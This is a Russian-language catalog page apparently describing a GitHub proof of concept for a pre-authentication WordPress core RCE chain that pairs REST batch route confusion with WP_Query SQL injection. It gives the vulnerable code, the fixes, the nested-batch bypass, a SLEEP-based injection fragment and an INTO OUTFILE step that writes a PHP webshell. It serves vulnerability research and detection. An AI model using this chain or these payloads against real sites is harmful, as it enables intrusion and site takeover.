Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
wordpress-cve-2026-63030 — RCE без аутентификации в ядре WordPress через путаницу маршрутов пакетного REST API + SQLi в WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC для обнаружения. | Kitploit
Инструменты/GitHubGitHub/senanfurkan/wordpress-cve-2026-63030
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubsenanfurkan/wordpress-cve-2026-63030

wordpress-cve-2026-63030

RCE без аутентификации в ядре WordPress через путаницу маршрутов пакетного REST API + SQLi в WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC для обнаружения.

Репозиторий
4282 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

WordPress REST API: путаница пакетных маршрутов + SQL-инъекция → RCE

Pre-authentication, без аутентификации, плагины не требуются. Работает против стандартной установки WordPress через пакетную конечную точку REST API.

CVECVE-2026-63030 (путаница маршрутов → RCE) + CVE-2026-60137 (SQLi)
GHSAGHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf
ИсследовательAdam Kues — Assetnote / Searchlight Cyber (назвавший её «wp2shell»)
ЗатронутоWordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (полная цепочка RCE) · 6.8.0 – 6.8.5 (только SQLi)
Исправлено6.8.6, 6.9.5, 7.0.2, 7.1-beta2
CVSSКритический (цепочка RCE) / Умеренный (отдельная SQLi)
Блог исследователяhttps://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/

1. Обзор

Две ошибки в ядре WordPress, объединяемые в удалённое выполнение кода без аутентификации:

  1. SQL-инъекция в WP_Query, когда author__not_in является строкой, а не массивом — проверка санитизации is_array() пропускается, и сырое значение подставляется в выражение NOT IN (...).
  2. Путаница пакетных маршрутов в WP_REST_Server::serve_batch_request_v1() — подзапросы с WP_Error помещаются в $validation[], но не в $matches[], что вызывает сдвиг индекса на +1. Подзапрос i в итоге обрабатывается обработчиком подзапроса i+1.

Ни одна из ошибок по отдельности недостаточна: REST API санитизирует author_exclude (type: array, items: integer) до того, как он достигает WP_Query, а пакетная конечная точка отклоняет подзапросы GET (enum: POST, PUT, PATCH, DELETE). Объединение их через двойную путаницу обходит обе защиты и достигает SQLi без аутентификации.

2. Первопричины

2.1 SQL-инъекция — src/wp-includes/class-wp-query.php (CVE-2026-60137)

Уязвимая версия (6.9.4):

if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {   // string → skipped
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

Когда author__not_in является строкой, ветка is_array() пропускается; (array) "payload" вычисляется в ["payload"]; implode(',', ...) возвращает сырую строку, которая подставляется прямо в SQL.

Исправление (6.9.5): используйте wp_parse_id_list(), которая принимает входные данные любой формы и возвращает санитизированный список целых чисел.

2.2 Путаница пакетных маршрутов — src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)

// Validation loop
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
                       // ❌  $matches[] NOT appended
        $validation[] = $single_request;
        continue;
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
}

// Dispatch loop  —  indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
    ...
    $match = $matches[ $i ];          // ← off-by-one after a WP_Error
    list( $route, $handler ) = $match;
    $result = $this->respond_to_request( $single_request, $route, $handler, $error );
}

Один подзапрос с WP_Error (например, с некорректным путём) в позиции 0 сдвигает все последующие записи на одну. Запрос i затем обрабатывается обработчиком запроса i+1.

Исправление (6.9.5): добавляйте $matches[] = $single_request; и для случая ошибки. Дополнительное усиление защиты досрочно завершает rest_api_loaded() / serve_request(), пока диспетчеризация уже выполняется.

3. Цепочка двойной путаницы

┌──────────────────────────────────────────────────────────────────────┐
│  OUTER batch  (POST /wp-json/batch/v1)                              │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  path = "/wp/v2/categories" → carries nested batch in body     │
│         body = { "name": "x",                                       │
│                   "requests": [ INNER_BATCH ] }                     │
│         Validated against categories → "requests" field untouched   │
│  [2]  path = "/batch/v1"        → batch handler → shifts onto [1]   │
│                                                                     │
│  Outer shift: request[1] dispatched with request[2]'s handler =     │
│  serve_batch_request_v1.  The batch endpoint has NO                 │
│  permission_callback → fires unauthenticated.  request[1]'s body    │
│  was validated against the *categories* route, so the nested        │
│  sub-requests were NEVER checked against the batch method enum →    │
│  inner sub-requests may use GET.                                    │
├──────────────────────────────────────────────────────────────────────┤
│  INNER batch  (processed inside serve_batch_request_v1)             │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  GET /wp/v2/categories                                      │
│         ?author_exclude=<SQLi_PAYLOAD>                             │
│       Validated against categories → author_exclude NOT sanitised   │
│  [2]  GET /wp/v2/posts          → get_items handler → shifts to [1]│
│                                                                     │
│  Inner shift: inner[1] dispatched with inner[2]'s handler =        │
│  WP_REST_Posts_Controller::get_items.  The unsanitised string       │
│  author_exclude is mapped to author__not_in and passed to           │
│  WP_Query  →  SQL INJECTION.                                        │
└──────────────────────────────────────────────────────────────────────┘

Результирующий SQL-фрагмент выглядит так:

AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )

SLEEP(N) выполняется один раз для каждой строки подходящей записи, поэтому общая задержка составляет примерно N × <количество_опубликованных_записей> секунд.

От SQLi к RCE («wp2shell»)

Инъекция только для SELECT (без множественных запросов, $wpdb использует mysqli_query) всё равно даёт RCE на типичных LAMP-стеках, когда у пользователя MySQL есть привилегия FILE — что является значением по умолчанию на многих shared-хостингах и самостоятельно управляемых серверах:

1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*

записывает PHP-веб-шелл в корень веб-сервера, доступный по адресу /x.php.

Альтернативные пути (без привилегии FILE) включают чтение хеша пароля администратора через UNION/булеву blind SQLi и загрузку вредоносного плагина через аутентифицированный интерфейс администратора.

4. Обнаружение / PoC

usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
                            [--confusion-only] [--no-color] [-v]

PoC выполняет два неразрушающих теста:

ТестМетодБезопасно?
Путаница маршрутов (CVE-2026-63030)Структурный — проверяет, что внутренний запрос[1] (categories) обрабатывается обработчиком записей, проверяя тело ответа на наличие полей, характерных только для записейДа
SQLi (CVE-2026-60137)Time-based blind — внедряет SLEEP(N) через author_exclude и измеряет задержку по сравнению с безобидным базовым запросомДа
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/
Скачать инструмент